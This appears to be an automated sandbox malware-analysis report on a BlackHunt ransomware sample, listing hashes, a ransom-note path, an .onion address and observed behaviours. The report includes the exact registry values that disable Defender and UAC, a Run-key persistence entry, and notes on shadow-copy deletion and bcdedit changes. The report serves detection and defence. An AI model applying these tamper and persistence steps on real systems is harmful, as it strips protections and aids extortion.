Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
174s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 01:28
Static task
static1
Behavioral task
behavioral1
Sample
f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Resource
win10v2004-20231215-en
General
-
Target
f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
-
Size
707KB
-
MD5
3c0241b1d591b310be69280d04b01c59
-
SHA1
fa8979ad222299a4a5aa6312dd565566d2045d45
-
SHA256
f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851
-
SHA512
fb017b8506e6469b247e4f7705bb65a1f6b8c0d544052faa293b42e87065397004ebe7f6e7a2a641f677ba072ab83a5af321c07ee3479f320031f732eda8be27
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1t8+vnh:6uaTmkZJ+naie5OTamgEoKxLWogh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3160 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2100 bcdedit.exe 2684 bcdedit.exe -
Renames multiple (329) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 648 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\B: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Y: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\I: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\G: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\M: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\U: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\S: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\W: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\H: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\K: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\Z: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\X: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\R: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\P: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\J: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\L: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\Q: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\T: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\A: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\O: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened (read-only) \??\N: f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Reference Assemblies\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\kaa.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\dotnet\host\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\mng.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cldr.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\jpeg_fx.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\History.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\readme.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\access-bridge-64.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\fur.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\packager.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\fi.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\ku-ckb.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\icu.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_sv.properties f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jsse.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\cs.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\nb.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\hr.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\lcms.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\jconsole.jar f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Uninstall Information\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_pt_BR.properties f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\santuario.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.hta f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngcc.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\7-Zip\Lang\fr.txt f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\icu_web.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dynalink.md f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jfr\default.jfc f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File created C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_Private.key f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\cacerts f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5836 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6072 vssadmin.exe 6100 vssadmin.exe 924 vssadmin.exe 5748 vssadmin.exe 5408 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeRestorePrivilege 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeBackupPrivilege 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeTakeOwnershipPrivilege 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeAuditPrivilege 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeSecurityPrivilege 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeIncBasePriorityPrivilege 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Token: SeBackupPrivilege 5108 vssvc.exe Token: SeRestorePrivilege 5108 vssvc.exe Token: SeAuditPrivilege 5108 vssvc.exe Token: SeBackupPrivilege 5436 wbengine.exe Token: SeRestorePrivilege 5436 wbengine.exe Token: SeSecurityPrivilege 5436 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2032 wrote to memory of 3632 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 91 PID 2032 wrote to memory of 3632 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 91 PID 2032 wrote to memory of 2224 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 96 PID 2032 wrote to memory of 2224 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 96 PID 2032 wrote to memory of 1532 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 93 PID 2032 wrote to memory of 1532 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 93 PID 2032 wrote to memory of 2036 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 95 PID 2032 wrote to memory of 2036 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 95 PID 2032 wrote to memory of 4008 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 98 PID 2032 wrote to memory of 4008 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 98 PID 2032 wrote to memory of 3904 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 101 PID 2032 wrote to memory of 3904 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 101 PID 2032 wrote to memory of 2204 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 103 PID 2032 wrote to memory of 2204 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 103 PID 2032 wrote to memory of 968 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 112 PID 2032 wrote to memory of 968 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 112 PID 2032 wrote to memory of 4988 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 111 PID 2032 wrote to memory of 4988 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 111 PID 2032 wrote to memory of 3976 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 105 PID 2032 wrote to memory of 3976 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 105 PID 2032 wrote to memory of 1840 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 107 PID 2032 wrote to memory of 1840 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 107 PID 2032 wrote to memory of 1480 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 118 PID 2032 wrote to memory of 1480 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 118 PID 2032 wrote to memory of 716 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 113 PID 2032 wrote to memory of 716 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 113 PID 2032 wrote to memory of 3868 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 117 PID 2032 wrote to memory of 3868 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 117 PID 2032 wrote to memory of 2488 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 119 PID 2032 wrote to memory of 2488 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 119 PID 2032 wrote to memory of 2648 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 122 PID 2032 wrote to memory of 2648 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 122 PID 2032 wrote to memory of 4308 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 124 PID 2032 wrote to memory of 4308 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 124 PID 2032 wrote to memory of 3172 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 126 PID 2032 wrote to memory of 3172 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 126 PID 2032 wrote to memory of 4408 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 128 PID 2032 wrote to memory of 4408 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 128 PID 2032 wrote to memory of 5072 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 129 PID 2032 wrote to memory of 5072 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 129 PID 2032 wrote to memory of 2416 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 130 PID 2032 wrote to memory of 2416 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 130 PID 2032 wrote to memory of 2680 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 134 PID 2032 wrote to memory of 2680 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 134 PID 2032 wrote to memory of 1372 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 135 PID 2032 wrote to memory of 1372 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 135 PID 2032 wrote to memory of 1216 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 138 PID 2032 wrote to memory of 1216 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 138 PID 3632 wrote to memory of 4436 3632 cmd.exe 137 PID 3632 wrote to memory of 4436 3632 cmd.exe 137 PID 2032 wrote to memory of 4568 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 151 PID 2032 wrote to memory of 4568 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 151 PID 2032 wrote to memory of 832 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 139 PID 2032 wrote to memory of 832 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 139 PID 2032 wrote to memory of 4432 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 149 PID 2032 wrote to memory of 4432 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 149 PID 2032 wrote to memory of 3064 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 147 PID 2032 wrote to memory of 3064 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 147 PID 2032 wrote to memory of 2844 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 141 PID 2032 wrote to memory of 2844 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 141 PID 2032 wrote to memory of 4024 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 142 PID 2032 wrote to memory of 4024 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 142 PID 2032 wrote to memory of 1688 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 190 PID 2032 wrote to memory of 1688 2032 f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe 190 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe"C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
